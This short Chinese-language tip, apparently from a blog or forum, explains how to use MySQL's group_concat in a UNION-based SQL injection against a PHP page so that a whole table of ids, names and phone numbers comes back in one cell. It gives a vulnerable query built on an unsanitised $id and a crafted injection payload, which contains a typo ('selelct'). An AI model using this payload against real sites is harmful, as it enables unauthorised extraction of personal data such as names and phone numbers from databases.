|  | php sql injector的时候,很多情况下都是显示一行一行的数据,要一次得到全部数据或者表格,那就的重复多次。 函数group_concat可以实现将表格放入一个单元格中(即仅有一行一列) 例如: select group_concat(id,0x7c,name,0x7c,tel,0x5d) from  g 那么将得到: 1|张三|83023023],|李四|13893232322],..... (注意上面查询结果不是一行多列,而是一行一列) 假设原来的sql注入地方为: select name from userinfo where id=$id 那么可以这样构造: id=1 and 1=2 union selelct group_concat(id,0x7c,name,0x7c,tel,0x5d) from  g  
 |